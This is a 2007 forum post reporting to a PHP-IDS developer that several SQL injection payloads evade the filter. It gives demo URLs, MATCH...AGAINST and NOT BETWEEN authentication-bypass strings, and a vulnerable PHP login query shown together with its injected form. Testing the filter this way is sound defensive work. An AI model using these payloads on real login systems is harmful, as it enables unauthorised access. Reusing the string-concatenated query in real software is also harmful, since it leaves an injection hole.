@.mario: excellent fixes!
The MATCH...AGAINST auth bypass is still undetected: http://demo.php-ids.org/?test=%27%20or%20MATCH%20%28username%29%20AGAINST%20%28%27%2badmin%20-asds%27%20IN%20BOOLEAN%20MODE%29%3B%20--%20-a
?test=' or MATCH (username) AGAINST ('+admin -asds' IN BOOLEAN MODE) ;-- -a
Modified versions of the NOT BETWEEN vector: http://demo.php-ids.org/?test=abc%27%20NOT%20BETWEEN%20%21%21%270
?test=abc' NOT BETWEEN !!'0
This works with any even amount of '!' (w00t double negatives!):
?test=abc' NOT BETWEEN !!!!'0
?test=abc' NOT BETWEEN !!!!!!!!!!!!!!'0
More variations (likewise with multiple negation):
?test=abc' NOT BETWEEN !0 = !!'0
?test=abc' NOT BETWEEN !0 != !!!'0
?test=abc' NOT BETWEEN !+0 != !'0
I really think NOT BETWEEN is cool because it completely changes the context of the second clause in certain types of auth queries:
$sql = "SELECT * FROM `users` WHERE username='".$_GET['u']."' and password='".$_GET['p']."' LIMIT 1";
if
$_GET['u']= "' NOT BETWEEN !+0 != !'0"
$_GET['p']= ''
query becomes:
SELECT * FROM `users` WHERE username='' NOT BETWEEN !+0 != !'0' and password='' LIMIT 1";
bam!
:)
-tx @ lowtech-labs.org
Edited 3 time(s). Last edit at 09/27/2007 03:34PM by tx.